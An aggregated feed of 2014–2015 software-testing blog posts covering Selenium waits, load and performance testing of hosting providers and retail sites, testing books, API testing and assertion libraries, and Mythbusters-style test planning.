Software Testing

Waiting for One of Two Things To Appear on a Page in Java Selenium

QA Hates You - Tue, 01/20/2015 - 03:26

I’ve been working on a Java Selenium test automation project, teaching myself Java and Selenium WebDriver along the way.

I ran into a problem that I didn’t see solved on the Internet elsewhere, but my skill at searching StackOverflow is not that good.

The problem is conducting an operation that might yield one of two results, such as success or an error message. Say you’ve got an registration form or something that can succeed if you put the right data in it or will fail if you put the wrong data in it. If the user successfully registers, a welcome page displays. If the user fails, an error message displays. And, given this is the Web, it might take some time for one or the other to display. And the implicit waits didn’t look like they’d handle branching logic.

So here’s what I did:

public int waitForOne(WebDriver driver, Logger log, String lookFor1, String lookFor2){ WebDriverWait wait = new WebDriverWait(driver, 1); for (Integer iterator = 1; iterator < 60; iterator++){ try{ WebElement element = wait.until(ExpectedConditions.elementToBeClickable(By.id(lookFor1))); return 1; }catch (Exception e){ } // try 1 try{ WebElement element = wait.until(ExpectedConditions.elementToBeClickable(By.id(lookFor2))); return 2; }catch (Exception e){ } //try 2 } //for loop }// waitForOne

You could even create a longer list of events to wait for one of them to occur by passing in an array of strings and then using a For-Each loop to run through the list.

This sample looks for a Web element by its ID, but you could change it to use another By parameter, such as CSS Selector (cssSelector). Or, if you're feeling dangerous, you could pass in the By parameter as a string and parse it in the method to determine whether to use ID, CSS Selector, or a mix therein. But that's outside the simplicity of this example.

Also note that the For loop that limits the waiting for a total of sixty iterations, which in this case will max out at 120 seconds (at 1 second per attempt for 2 items a maximum of 60 times). You could pass the max in as a parameter when calling this method if you want. That's especially important if you're using a list of possible elements to look for. If you're passing in five elements, suddenly you're at a maximum time of five minutes if it times out completely. You might not want your tests to wait that long, especially if you're using the check multiple times per test.

I'm sure there are more elegant solutions for this. Let's hear them. Because, frankly, I'm not very good at searching StackOverflow, and I'd prefer if you'd just correct my foolishness here in the comments.

Categories: Software Testing

QA Music: I Am Machine

QA Hates You - Mon, 01/19/2015 - 02:57

It’s been a while since we’ve had some Three Days’ Grace, so here is “I Am Machine”:

It’s been a while since we’ve had anything, actually. Perhaps I should post something.

Categories: Software Testing

Optimizing for Mobile Traffic

LoadStorm - Thu, 01/15/2015 - 08:01

Every year mobile traffic is growing. This year 41.2% of all cyber monday traffic came from mobile. It’s a trend that every business should start to plan, and develop for.

Options for Mobile Optimized Experiences

Based on figures provided by the mobile experts at Flurry, app usage is increasing while mobile web surfing is decreasing. With the growing trend of using apps over web browsing on mobile devices, it is a good idea to consider developing an app. However, developing your own app is usually very time consuming and expensive. For many companies, developing their own mobile app is simply not an option.

As an alternative, responsive web design is much less expensive to develop and easy to maintain. When deciding on which to use, consider your customer demographics and the type of product or service that you’re providing. Do you have analytic data that tells you how much mobile traffic you have so far? How many of your customers do you think will benefit from one of these options?

According to a study by the Aberdeen Group, responsive design websites showed a 10.9% increase in visitor to buyer conversion rates year-over-year, while non-responsive websites only had a 2.7% increase. So if you’re not ready to invest in developing a full-blown mobile app, the evidence supports responsive web design as a cost effective alternative to a mobile app.

What is responsive design?

For a quick example, click and drag your browser window from full size to very small. You will notice how this website changes based upon the screen size the viewer is using. The goal of responsive web design is to give the customer an experience that is quick and easy to use on whatever size device he or she is using.

Responsive design is a combination of three techniques: fluid grids, flexible images, and media queries. Here is an excellent video tutorial to learn the fundamentals of responsive design:

Responsive Design and Web Performance


During this video tutorial, the presenter mentions that the images in his test site are fairly large, which allows them to be responsive, but being responsive is not enough. If you really want to cater to your mobile audience, you also need to improve performance by considering the impact quality and file size have. Smashing Magazine has a wonderful article to help guide you in making your site both responsive and a great performer over mobile broadband.

Test Your Site

To see how responsive your site is currently, you can visit Matt Kersley’s page.

Or for a more detailed option in testing responsive design, you can use the developer tools in most browsers. This allows you to change the viewing experience so you can select one of many brand name devices, like an iPhone 6 or Galaxy S4, to emulate. To do this in Chrome, you can open your developer tools by right-clicking a page and choosing “inspect element”. Then look to the top left of the tools window for a small icon that looks like a smartphone. Click the icon and the browser view will constrain the viewing area.

This developer tool also shows how easy it is to load test your mobile site using LoadStorm PRO. A recording can be made of the site while using the mobile view, which can then be uploaded and utilized in a load test.

Sidenote for SEO:

Google prefers that developers use responsive design mostly for requiring less resources and is future friendly. However, Google does not rank responsive design higher over other configurations.

Sources:

The post Optimizing for Mobile Traffic appeared first on LoadStorm.

Bibliographies, Books and Stuff

Alan Page - Wed, 01/14/2015 - 11:22

A while back (no link cause I’m lazy), I mentioned that one thing (among many) missing from How We Test SW at MS was a bibliography of testing books. While we didn’t refer directly to any books when writing the book, the influence of several testing books is definitely there, and worth noting for those who want to study where the craft has come from (which is one way to better understand where it’s going). This post will now serve as the official bibliography of the 2008 edition of How We Test Software at Microsoft. That should get at least one nagger off my back.

But First…

My bookshelf is filled with four different types of books (technically, three – one type is a subset of another.

  1. Business-ish books. I have (and read) a lot of books on leadership, innovation, etc.. I think these are important for all leaders and those who want to influence (definitely not just managers). These books contain the most read and most loved books in my collection – but none of them are included in this list.
  2. Books on thinking. I also read a lot of books about thinking and motivation. Examples include Michalko’s Cracking Creativity and Thinkertoys, Kahneman’s Thinking Fast and Slow, Pink’s Drive, and A Whole New Mind, Weinberg’s General Systems Thinking, and Chabris’s The Invisible Gorilla . I think books like these are a great resource for anyone who does knowledge work. A good way to push my buttons (as many of you know) is to take a nugget from a book like these (the gorilla is, of course, my favorite), and announce to the world, “OMG!!! THIS IZ JUSST LIK TESTING!!!!!!!!” These books aren’t in this blog-iography either.
  3. Software books. The final category is books about software engineering. Note that there are examples of software books that overlap into the above categories.

Please don’t ask where book “Foo” fits into the above categories. The category list above is arbitrary and I just made it up. I may change it later (or by the time I post this).

Category #3 above also includes books on software testing – and after an introduction that is now likely longer than I expect the list of testing books and notes to be, let’s get started. Below is a list of the software testing books that I believe have contributed in some way to my test education (and hence, my own teaching and the writing of HWTSAM), as well as directly and indirectly to many of my peers. In no particular order (other than the order you can find them on the shelf in my office from right to left):

  1. Software Testing Techniques by Boris Beizer. This book has a comprehensive overview of a whole lot of testing techniques. Some of them are good, some don’t apply, and some are complete bullshit. I tell a story about my journey with software testing books where I say, “When I read my first book on software testing, I thought I learned it all. After reading a second book on testing, I was confused. After reading a third testing book, I began to form my own opinions. For me, I don’t think it’s fair to determine where formal models apply and don’t apply until I really understood them – and this book gave me that background.
  2. Software Testing: A Craftsman’s Approach, by Paul Jorgensen. This is another book in the “comprehensive” category, and deals entirely with software testing techniques. Again, it’s an exercise for the reader to figure out the best ways and contexts to apply the techniques (and to filter out the bullshit), but as far as basics of testing goes, it’s one of my favorites. I know that Bj was influenced heavily by Jorgensen’s work, and I think it shows in his chapters on functional techniques.
  3.  A Practitioner’s Guide to Software Test Design, by Lee Copeland. I hate to say this, because Lee occasionally reads this blog, but this is my absolute favorite book on the basics of Test Design. For me, it was so much easier to read than the Jorgensen and Beizer books (and the even Meyers book I’m about to mention), and I think it’s much easier for the reader to take the information in the book and apply it to their own work. I don’t recommend reading just one book on test design (see my comments on the Beizer book), but this is one I think is worth having on your shelf.
  4. The Art of Software Testing by Glenford Myers. This one is sort of the classic of software testing. It too, focuses on functional techniques (and introduces the classic triangle testing problem). Note that this book Ii s generally way overpriced ($130 on Amazon right now)– look for a used copy if you want to own it.
  5. Testing Object-Oriented Systems, by Bob Binder. I probably  mentioned this book in the chapter on model-based testing. This is the book where I first studied MBT, and also the book that got me thinking deeply about test patterns and patterns in general (I was inspired by this book to finally read the GOF book, as well as Alexander). Note that this book can double as a weapon. It’s just under a zillion pages long, so I recommend reading it in chunks rather than in a single three-week sitting.
  6. Software Testing Techniques by Loveland and Miller. In a way, this book could be called How We Test Software at IBM – or, perhaps, Things you can learn from Mainframe Testers. This book came out just a few years before we began writing HWTSAM, and probably subconsciously influenced my decision to agree to think about possibly writing a book about testing at Microsoft. There are a lot of lessons to be learned from this book, and although it’s applicability to my world of testing has waned quite a bit in the last decade, there are definitely some nuggets here for anyone.
  7. This is the placeholder for something obvious I’ve missed. I’ve read dozens of other books on software testing, and unless someone has borrowed something significant without asking, I have to say that those are the most likely books that influenced my world view of testing – and likely what we drew from (at least indirectly) when writing HWTSAM.
    Well… those six books and a combined half a century of practical experience from the authors, and a millennia of experience from the combined contributors.
(potentially) related posts:
  1. Books I’m about to (re)read
  2. It’s a big world (of testing) out there
  3. Happy Birthday HWTSAM
Categories: Software Testing

Testing on the Toilet: Prefer Testing Public APIs Over Implementation-Detail Classes

Google Testing Blog - Wed, 01/14/2015 - 10:35
by Andrew Trenk

This article was adapted from a Google Testing on the Toilet (TotT) episode. You can download a printer-friendly version of this TotT episode and post it in your office.


Does this class need to have tests?
class UserInfoValidator {
public void validate(UserInfo info) {
if (info.getDateOfBirth().isInFuture()) { throw new ValidationException()); }
}
}Its method has some logic, so it may be good idea to test it. But what if its only user looks like this?
public class UserInfoService {
private UserInfoValidator validator;
public void save(UserInfo info) {
validator.validate(info); // Throw an exception if the value is invalid.
writeToDatabase(info);
}
}The answer is: it probably doesn’t need tests, since all paths can be tested through UserInfoService. The key distinction is that the class is an implementation detail, not a public API.

A public API can be called by any number of users, who can pass in any possible combination of inputs to its methods. You want to make sure these are well-tested, which ensures users won’t see issues when they use the API. Examples of public APIs include classes that are used in a different part of a codebase (e.g., a server-side class that’s used by the client-side) and common utility classes that are used throughout a codebase.

An implementation-detail class exists only to support public APIs and is called by a very limited number of users (often only one). These classes can sometimes be tested indirectly by testing the public APIs that use them.

Testing implementation-detail classes is still useful in many cases, such as if the class is complex or if the tests would be difficult to write for the public API class. When you do test them, they often don’t need to be tested in as much depth as a public API, since some inputs may never be passed into their methods (in the above code sample, if UserInfoService ensured that UserInfo were never null, then it wouldn’t be useful to test what happens when null is passed as an argument to UserInfoValidator.validate, since it would never happen).

Implementation-detail classes can sometimes be thought of as private methods that happen to be in a separate class, since you typically don’t want to test private methods directly either. You should also try to restrict the visibility of implementation-detail classes, such as by making them package-private in Java.

Testing implementation-detail classes too often leads to a couple problems:

- Code is harder to maintain since you need to update tests more often, such as when changing a method signature of an implementation-detail class or even when doing a refactoring. If testing is done only through public APIs, these changes wouldn’t affect the tests at all.

- If you test a behavior only through an implementation-detail class, you may get false confidence in your code, since the same code path may not work properly when exercised through the public API. You also have to be more careful when refactoring, since it can be harder to ensure that all the behavior of the public API will be preserved if not all paths are tested through the public API.
Categories: Software Testing

Taking Severity Seriously

DevelopSense - Michael Bolton - Wed, 01/14/2015 - 03:10
There’s a flaw in the way most organizations classify the severity of a bug. Here’s an example from the Elementool Web site (as of 14 January, 2015); I’m sure you’ve seen something like it: Critical: The bug causes a failure of the complete software system, subsystem or a program within the system. High: The bug […]
Categories: Software Testing

WordPress Hosting Providers Study: Web Performance & Scalability

LoadStorm - Mon, 01/05/2015 - 12:14
Click to Zoom

Experiment:

When it comes to web performance, study after study has proven: fast and scalable wins the race. But with thousands of WordPress hosting providers, how do you know which one is fast and scalable?

That is where ReviewSignal.com comes in. Their business is all about helping people identify which hosting provider is the best choice for them. Kevin Ohashi from ReviewSignal has been working with LoadStorm to run a series of load tests on some of the top WordPress hosting providers to determine which is the best for companies who need scalable websites.

Our performance engineers have teamed up with Kevin to analyze the multitude of data and provide this report of the top WordPress hosting providers for web performance. Providers included in this study are: A Small Orange, FlyWheel, GoDaddy, Kinsta, LightningBase, MediaTemple, Nexcess, Pagely, Pantheon, and WebSynthesis. These providers were included in the 2,000 user load test because they didn’t struggle with the first test of 1,000 concurrent users.

This analysis only looks at the final load test of 2,000 concurrent users, but Kevin’s article analyzes the results of both tests and looks at long term up-time reliability. Check out Review Signal’s report of the full study here.

Parameters:

All tests were performed on identical WordPress dummy websites hosted on 10 different hosting services. All sites were tested with the same plugins except in cases where hosts added extra plugins. The websites had identical scripts that included browsing and login. The load tests were run in LoadStorm PRO for 30 minutes with a linear 20 minute ramp up from 500 to 2,000 virtual users and holding at the peak for the for the remaining 10 minutes.

Scoring:

In order to rank the top providers, we have broken our analysis down by the key web performance metrics:

  • Error Rate
  • Average Response Time
  • Peak Response Time
  • Average Page Completion
  • Throughput

To fairly rank the top providers, we ranked each provider by each performance metric at the 20 minute mark in the test, when all sites were under full load of 2,000 users. For each metric, the providers were ranked (1st through 10th) according to their performance and then a point value was assigned to each. Then we determined our final ranking position based on their total score, the sum of all points from all the metrics.

Test Data:

To view the full test results with interactive graphs in LoadStorm PRO, click on each hosting provider below:

Metrics: Error Rate

Error rate is probably the most important metric for businesses wanting to be certain that a website won’t crash under high traffic. High error rates mean one thing: Lost customers.

Surprisingly, we had a 7-way tie for first place with 0% error rates. Overall, this speaks volumes to the scalability of all the websites included in the study. Flywheel started to fail at around 1500 concurrent users and began returning 502 errors, which explains its high error rate.

Average Response Time

Average Response Time is very significant because it directly affects the user experience and perceived load time. This metric measures the time each request takes “round trip” from the browser sending the request to the server, the server processing the request, and then the response from the server back to the browser. The Average Response Time takes into consideration every round trip request/response cycle for that minute interval and calculates the mathematical mean of all response times.

Peak Response Time

This metric also measures the same “round trip” that the Average Response Time does, but instead of averaging the time for all requests, Peak Response Time is simply the single longest (slowest) time for a single request.

Average Page Completion

Average Page Completion Time is a metric that measures the amount of time from the start of the first request to the end of the final request on a page.

In regards to the specific times in this study, the test shows unusually fast Average Page Completion times. After investigating why the pages were loading so quickly, it turns out that some of the pages on the dummy website were very simple with very few requests each. While users with real websites on these providers would expect to see slower average page completion times, the tests are still valid because all providers had the same simple pages.

Throughput

Throughput is measured by the number of kilobytes per second that is being transferred. This measurement shows how data is flowing back and forth from the server(s). High throughput is a mark of good web performance under load because it shows that there aren’t any bottlenecks blocking and slowing the data transfer. Low throughput, as seen in WebSynthesis, signifies that the server is overwhelmed and is struggling to pass data to and from the server.

Interestingly, GoDaddy pushed triple the amount of data through because their admin screen had more resources being loaded. Which is why the average throughput is so high. Despite the extra data to process, they still had significantly higher average response times than most of the other providers. Anytime a site makes more requests, it slows down performance. Therefore, without so much extra data it is fair to say that GoDaddy could have possibly been faster than all the others.

Ranking

From the final point tallies, we can see that there are three clear sections.
Top Performers: Pantheon, MediaTemple, GoDaddy, and Kinsta.
Good Performers: Nexcess, LightningBase, A Small Orange, and Pagely.
Fair Performers:: FlyWheel and WebSynthesis.

Conclusion:

Overall, most of the providers did surprisingly well under the full load of 2,000 concurrent users. Even though we wanted to rank them in a definitive order, the fact of it is that most providers did not reach failure rates at all in the test. So while we were able to rank them, there were several metrics where the difference between points was negligible (ie: 1 ms average response time difference between GoDaddy and Kinsta) but still calculated in our scores.

Additionally, the test utilized in our report is only part of the full ReviewSignal study. ReviewSignal ran tests at 1,000 users and the providers that crashed were not included in the tests at 2,000. Therefore, all of the providers included in this ranking should be considered great choices for scalable WordPress hosting.

This level of high performance in all 10 providers was unexpected with such a heavy load and we were very impressed by the results.

The post WordPress Hosting Providers Study: Web Performance & Scalability appeared first on LoadStorm.

My year of working sparsely

Alan Page - Mon, 01/05/2015 - 10:31
Warning, non-software post follows.

2014 was an interesting year for me. The year began with the trailing two weeks of a four week visit to Australia. Then, I spent July and August in France, then took another week off when I returned to take care of my dad. Finally, I took the last two weeks of the year off to be with family. With other short vacation days thrown in, I took nearly 13 weeks off in 2014 (if my math is right, that’s a quarter of a year). Most of that time off came from an award I received several years ago that allows me a one-time eight-week vacation (a sabbatical of sorts), and I also used just about all of the five weeks of regular vacation time that Microsoft gives me.

I mentioned the above (in much shorter form) on twitter this week. In the discussion, I mentioned that I’ve been at MS for nearly 19+ years, and it’s a once in a career sort of thing, and Geir Gulbrandsen asked if I’d do an encore after an another 19 years. I answered that I’d likely be in some stage of retirement by then, and that led to a discussion on what retirement is…and it made me want to dump my thoughts into a form longer than 140 characters.

So here goes.

A lot of twitter folks said things like, “If you do what you love, do it forever” or, “I’ll never stop working if I enjoy the job”. I agree with these folks. Even in “retirement”, my dad worked for years just to keep from getting bored. I get bored easily too, and I really like my field of work, so why would I even think about retirement (in any form)?

Because I like things other than working too. I like to travel (actually, I don’t like the travelling part – I like being in other countries). Spending two months in a foreign country (or a month each in two different countries) isn’t something someone can do often when working a full time job. Or, I may write another book someday – but I know from past experience that I didn’t like the schedule I had to keep to work full time while writing. I may take a class. I may want to work in a winery. Who knows. All I know is that at some point in my life (and probably within 10 years or so), I’ll want to work much less than I’m working now. Somewhere in the twitter stream, I said (tweeted) this:

For me, “retirement” isn’t a stoppage of work. It’s a choice to work when I want, on what I want, and as frequently as I want.

— Alan Page (@alanpage) December 31, 2014

I’ve known that I wanted “retirement” options from the time I entered the workforce (as a middle school music teacher when I was 22 years old!). I’ve saved aggressively – maxing out my pre-tax 401k for the last 19 years, and contributing as much as I can afford to post-tax 401k over the past several years. I feed my IRA every year and save whatever else I can. The only debt I’ve had for the last two decades is a mortgage. And, although we went a little crazy with vacations over the last year, we travel cheaply, and save as much as we can while still enjoying life. To be fair, I’ve been successful working for a large company, so my income level enables me to save more than a lot of people, but the point is that I’ve tried to save what I can, so at some point, I have a choice to work – or not, as I choose.

Any sort of retirement for me is still quite a few years off. My kids are in school for another eight years, and will probably go to college after that (I started 529 plans for both of them when they were born, and I expect I’ll have enough saved to cover a large portion of costs for all but the most elite schools). The point is that I think a lot about what I need to do to get myself to a point where I can cover most or all of my expenses without needing to work.

But I’ll still work when I want to.

(potentially) related posts:
  1. Twenty-Ten – my best year ever
  2. 2011 year end roundup
  3. Another year bites the dust
Categories: Software Testing

Introducing Bug Magnet – an exploratory testing helper

The Quest for Software++ - Sat, 01/03/2015 - 09:49

I just compiled a bunch of checklists and notes I often use for exploratory testing into a handy Chrome extension. Bug Magnet provides convenient access to common problematic values and edge cases, so you can keep them handy and access them easily during exploratory testing sessions. Just right-click an input field!

The extension introduces only a tiny overhead per page (<1k), and has no third party library dependencies, works completely passive, so it does not interfere with your web app execution in any way. It works on input fields, text areas, content editable DIVs. Of course, it’s completely opensource (MIT license), so you can easily extend it with your config.

To install the extension, and for more info, head over to http://gojko.github.io/bugmagnet.

The extension started from a need to scratch my own itch and make common experiments easily accessible, both as test data and as an inspiration for similar ideas. If this sounds useful, propose improvements

What Mythbusters Can Teach Software Testers

Randy Rice's Software Testing & Quality - Fri, 01/02/2015 - 15:12
I hope you have all had a great Christmas and New Year. Normally at this time of year I write a posting about goal setting, reflecting on the past year for lessons learned or something similar, which are still important things to do.

I thought for this year, let's go for "Now for something completely different."

Between all the bowl games and Christmas movies on TV, the Science Channel has been showing a Mythbusters marathon for last couple of weeks. That, my friends, is a lot of episodes - more than I could ever take in. But I have enjoyed watching a few of the episodes.

I often refer to the Mythbusters show when explaining session-based testing in some of my software testing classes and workshops. Mythbusters is a perfect example of how to set-up a test, perform it, then evaluate the results.

However, in watching several episodes back-to-back, some clear trends emerged that I have not previously related to what we do as software testers.

Planning

You don't see the written plans, but believe me, they are there. Of course, you have the episode script, but there is much more going on behind the scenes. The crew has to get all the resources in place for the show. Some of the resources get expensive. In one episode I counted eight cars destroyed. Then you have explosives, the permissions to use the explosives, chemicals, the permission to use dangerous chemicals, special cameras and other devices. The list could go on, but the point is that those items, just like the items you need for testing, do not just magically appear. It takes planning.

Teamwork

It is impressive how each of the Mythbusters collaborate and get along. They may disagree on some things, but each one is committed to letting the test tell the story. They ask for input and feedback and it's refreshing to not see the drama that plays out in some of the "reality" shows.

Expert Consultation

When it comes to things beyond their scope of knowledge, the Mythbusters bring in a subject matter expert to evaluate the test results.

Measurement

The Mythbusters are fanatics which it comes to measuring what they do. Not only do they measure things, but they are careful to take good baseline and control measurements BEFORE they perform the test. If the Mythbusters can measure how much pressure it takes to get candy away from a baby, we can measure what we do in testing.

Estimation

The Mythbusters allocate certain amounts of time to their tests. That allows them to estimate the time needed for the entire test. The time for each of the tasks varies due to the complexity of the test. Setting the scope of the test is very important. The test is focused on ONE thing, not several. That allows them to stay right on point and on time.

It appeared to me the total test time broke into:
  • Planning - They discuss the urban legend to be busted or confirmed and how they plan to conduct the tests.
  • Set-up - This often takes up the largest percentage of time, depending on the specific test. In some cases, they go to very elaborate means to create the closest conditions possible to the purported occurrence of the original (supposedly) event. In one show, the crew built a jail cell out of cinder blocks, poured concrete in the inner space and reinforced it with rebar. That alone would have taken multiple days.
  • Performance - The tests themselves can go quickly, but the trick is that many of the tests are repeated either to confirm the findings or to get a large enough sample size. In fact, one impressive observation is that they will try a test several different ways. They might start by using just a model, then by using the real thing, such as car, motorcycle, etc.
  • Evaluation - This often goes quickly because the test has been so clearly defined, measured and documented.
  • Tear-down - This is the part we don't see, but in the case of the mock jail cell, I could see it taking a while.
I think a starting point for testers is to measure as a percentage of effort your testing tasks require, based on varying levels of test complexity.

Expected Results

The Mythbusters define what they expect to see either confirmed or busted. In fact, they know what constitutes "confirmed" or "busted" and what the measures must be to support the findings. It's at this point the viewer gets the clear impression that these guys practice science. Personally, I also practice testing as a science, not a guessing game or a diversion. However, the popularity of the show is that they have made science (and testing urban legends) fun and entertaining. I wonder if we could do that in testing?

No Boredom

This is the challenge for testers. We get to blow stuff up also, but not in a physical sense. Let's face it, a system crash is not as exciting as a car crash (Unless the system you are testing operates a car, but we won't go there...). So, how do we make software testing exciting and perhaps even entertaining?

By the way, if you haven't seen my video of testing a mobile phone radar app during a tornado, that was exciting! But, like the Mythbusters say "Don't try this at home."

The best answer I can give for this is to start thinking about testing software like the Mythbusters think about their tests. Create a challenge and build some excitement about confirming or busting ways that the software should work. You may not get to see a literal explosion, but you may make some people's heads almost explode in frustration when they see that really bad defect (I mean showstopper, dead-in-the-water, kind of defect) the day before the release is supposed to go out.

Some companies hold "bug bashes," but in my experience, most of the problems reported are either superficial or not actually a problem. The issues are often misunderstand of how the application should work. In one case, we held a bug bash at a company with customer service reps performing the tests. Over 200 issues were logged over a 4-hour period. 3 of the issues were actually confirmed defects!

Contests are fun, but be careful. Don't make the contest about who finds the most bugs. You will get a lot of bug reports and some of the better testing may be the tests that find few, but important, defects.

Perhaps a contest for the "Bug of the Week" or "Most Humorous Bug" (Hint: error messages are great places to look for humor) might be interesting. I would love to hear your ideas on this. I would also love to hear any things you or your company does to make testing exciting.

How's that for your New Year's challenge?

Now, go bust some of your own software myths!
Categories: Software Testing

When Programmers (and Testers) Do Their Jobs

DevelopSense - Michael Bolton - Mon, 12/22/2014 - 15:23
For a long time, I’ve admired Robert (“Uncle Bob”) Martin’s persistent advocacy of craftsmanship in programming and software development. Recently on Twitter, he said . @LlewellynFalco When programmers do their jobs, testers find nothing. — Uncle Bob Martin (@unclebobmartin) December 8, 2014 One of the most important tasks in the testing role is to identify […]
Categories: Software Testing

Testing on the Toilet: Truth: a fluent assertion framework

Google Testing Blog - Fri, 12/19/2014 - 11:28
by Dori Reuveni and Kurt Alfred Kluever

This article was adapted from a Google Testing on the Toilet (TotT) episode. You can download a printer-friendly version of this TotT episode and post it in your office.


As engineers, we spend most of our time reading existing code, rather than writing new code. Therefore, we must make sure we always write clean, readable code. The same goes for our tests; we need a way to clearly express our test assertions.

Truth is an open source, fluent testing framework for Java designed to make your test assertions and failure messages more readable. The fluent API makes reading (and writing) test assertions much more natural, prose-like, and discoverable in your IDE via autocomplete. For example, compare how the following assertion reads with JUnit vs. Truth:
assertEquals("March", monthMap.get(3)); // JUnit
assertThat(monthMap).containsEntry(3, "March"); // TruthBoth statements are asserting the same thing, but the assertion written with Truth can be easily read from left to right, while the JUnit example requires "mental backtracking".

Another benefit of Truth over JUnit is the addition of useful default failure messages. For example:
ImmutableSet<String> colors = ImmutableSet.of("red", "green", "blue", "yellow");
assertTrue(colors.contains("orange")); // JUnit
assertThat(colors).contains("orange"); // TruthIn this example, both assertions will fail, but JUnit will not provide a useful failure message. However, Truth will provide a clear and concise failure message:

AssertionError: <[red, green, blue, yellow]> should have contained <orange>

Truth already supports specialized assertions for most of the common JDK types (Objects, primitives, arrays, Strings, Classes, Comparables, Iterables, Collections, Lists, Sets, Maps, etc.), as well as some Guava types (Optionals). Additional support for other popular types is planned as well (Throwables, Iterators, Multimaps, UnsignedIntegers, UnsignedLongs, etc.).

Truth is also user-extensible: you can easily write a Truth subject to make fluent assertions about your own custom types. By creating your own custom subject, both your assertion API and your failure messages can be domain-specific.

Truth's goal is not to replace JUnit assertions, but to improve the readability of complex assertions and their failure messages. JUnit assertions and Truth assertions can (and often do) live side by side in tests.

To get started with Truth, check out http://google.github.io/truth/

Categories: Software Testing

A Little Q & A

Alan Page - Thu, 12/18/2014 - 12:57

I took some time recently to answer some questions about Combined Engineering, Data-Driven Quality, and the Future of Testing for the folks at the A1QA blog.

Check it out here.

(potentially) related posts:
  1. HWTSAM – Six Years Later
  2. Testing Trends…or not?
  3. Finding Quality
Categories: Software Testing

Introducing QuickStorm

LoadStorm - Wed, 12/17/2014 - 11:24

Here at LoadStorm, we’re happy to announce one of our newest, free features! Are you interested in web development? Have you creating your own site? QuickStorms are a great tool to get initial insight into site performance, and can also be used as a tool to benchmark performance before making performance enhancements on your site.

What is a QuickStorm?

QuickStorms are small, short load tests that can be used to evaluate site performance. All you have to do is enter your site’s URL. LoadStorm will generate a load test against the URL, scaling from 1 – 10 virtual users over 10 minutes.

How it works

LoadStorm PRO automatically creates a recording of every request made on the URL you provide. Next, we simulate the traffic escalating from one to ten virtual users, targeting that URL.

Try a QuickStorm test of 10 users on your site by entering the URL here:


Test Results Overview: Summary

The test results summary provides totals for key metrics from the test. The total amount of requests as well as the overall average response times for those requests are displayed.
Since it’s a QuickStorm, there will only be one script. All of the servers used for the URL will be displayed, so if you want to view performance by servers, you can filter for that.


What you want to see here:
In general, you want to see good average response times, peak response times that are near the average, no errors, and low throughput. In addition, low total data transferred is a good sign. It’s a good idea to avoid page bloat.

Response

This includes all the response times data for the site. Every request included on the site is displayed, detailing the amount of time each resource was requested, the size of the request, the average amount of time it took to get a response, and the peak amount of time it took to get a response.

What you want to see here:
Good response times for requests are under 250 ms, while 500 ms is still generally acceptable. Any longer and you’ll be in trouble if the volume of traffic increases.

Errors

If any errors occurred during the test, they will be shown here. The number of errors and the types will be shown here. The Errors by Resource table will list which resources yielded errors. Usually, errors won’t occur at such a low volume of traffic, but there are some times web developers are simply unaware of the problem. Eliminating these errors is an easy way to boost performance.

What you want to see here:
You want to see 0 errors here. Any errors here should be completely unacceptable. You can do better than that!

Pages

In LoadStorm, pages refer to each unique web page hit. Since QuickStorms are only performed on a single URL, you can expect to see only that single page listed here. Statistics for this page include the number of times each page was requested. For QuickStorms, this number usually reaches just over 100 times. This means your page was visited by virtual users just over 100 times in ten minutes!

During a regular load test, you would typically make a recording of several different pages to mimic the traffic you expect to see on your site. For example, a blog would include a recording of a user browsing to the homepage as well as many different posts.

What you want to see here:
You want to see a zero failures for your page. When it comes to average and peak completion times, you should aim for pages completing in under 5 seconds.

Transactions

This is a feature you won’t be able to experience through QuickStorms, so you can expect to not see any data here. A transaction is a collection of requests that you designate in order to monitor specific site transactions. One example of this would be a search transaction. It’s important to have stellar performance in this area, and by selecting to monitor the search transaction, you can get feedback here.

What you want to see here:
Nothing. To use the transaction feature, sign up for a free account with LoadStorm PRO.

Requests by Time

This data includes the results of the different requests, summarized by time. Here you can easily view any differences in response times between the first minute of the test (1 vuser) and the last minute of the test (10 concurrent users).


What you want to see here:
You want to see comparable response times at the beginning of the test, and the end of the test. Drastic differences can point to an underlying problem that’s just waiting to be exposed.

Export

All of the raw test result data is available for download in a CSV file. Like the Requests by Time, this data usually becomes available within 10 minutes of test completion. If you would just like to show off your results, we also have the test statistics compiled for export as a CSV report.


What you want to see here:
Your site’s excellent results in a pretty report you can show off to your friends or enemies! Try it! It’s fun! And you get a URL you can share. Please note that QuickStorms are limited to 10 per day!

The post Introducing QuickStorm appeared first on LoadStorm.

Google improves CAPTCHA

LoadStorm - Wed, 12/17/2014 - 09:41

Google recently announced their “no CAPTCHA reCAPTCHA” method that simplifies the end-user experience while offering an intelligent threat assessment behind the scenes to detect potential robots. All you will typically need to do is click a checkbox that tells their CAPTCHA that you’re not a robot. Then a brief loading animation occurs while it runs the assessment algorithm. If the system is not sure you’re human, it will then prompt you with an additional CAPTCHA check that uses the traditional distorted image for an extra security check. However, if you’re on a mobile browser, you may encounter a different method for the secondary check. This new method that Google is experimenting with will display an image, such as a cat, and will ask you to select all other images that match the subject.

So I definitely see the positive side here since humans should be able to proceed more quickly through a signup form or other checkpoint that requires CAPTCHA. People are impatient when using the internet, so every effort to speed things up is helpful in improving their experience. However, the other point Google makes is that robots are being programmed with enough intelligence to decipher these distorted text images with a 99.8% accuracy. So given that they’ve added an extra step with the click a checkbox, the next step isn’t any different than regular CAPTCHA unless you get the occasional experimental CAPTCHA that uses an image matching test. I’m not aware of the programming that goes into these robots, but it seems like it would be easy enough to tackle a checkbox and then interpret the distorted text image as usual.

What do you think?

The post Google improves CAPTCHA appeared first on LoadStorm.

Cyber Monday Performance Evaluations

LoadStorm - Fri, 12/12/2014 - 14:22

From Amazon to Argos, online retailers are experiencing more traffic than ever this holiday season. This Cyber Monday reached a record high of $2.68 billion! Competition is fierce, and in this game, seconds = $$$.

This year, we selected 29 major e-commerce sites and used LoadStorm to run several tests to compare their performance on the Wednesday before Thanksgiving with Cyber Monday. We created scripts for each site to model typical e-commerce user activity. Each script would hit the homepage, search for a product, add a product to the cart, and then visit the cart. Then we ran our performance tests for 10 minutes at a time, scaling from one to ten virtual users (vusers).

Here’s what we found:

Average Page Completion Time remained relatively reasonable.

Out of the 29 companies, 7 slowed down:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b19a7e0e607c4e6f871425d9e65450bf?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Walmart’s average page completion time increased from 2.9 seconds to 7.8 seconds. That’s huge! Amazon, on the other hand, remained consistent, with an average page completion time of just 1.6 seconds on both days. Average Page Completion Time remained nearly the same for the majority of the sites.

Six companies sped up:

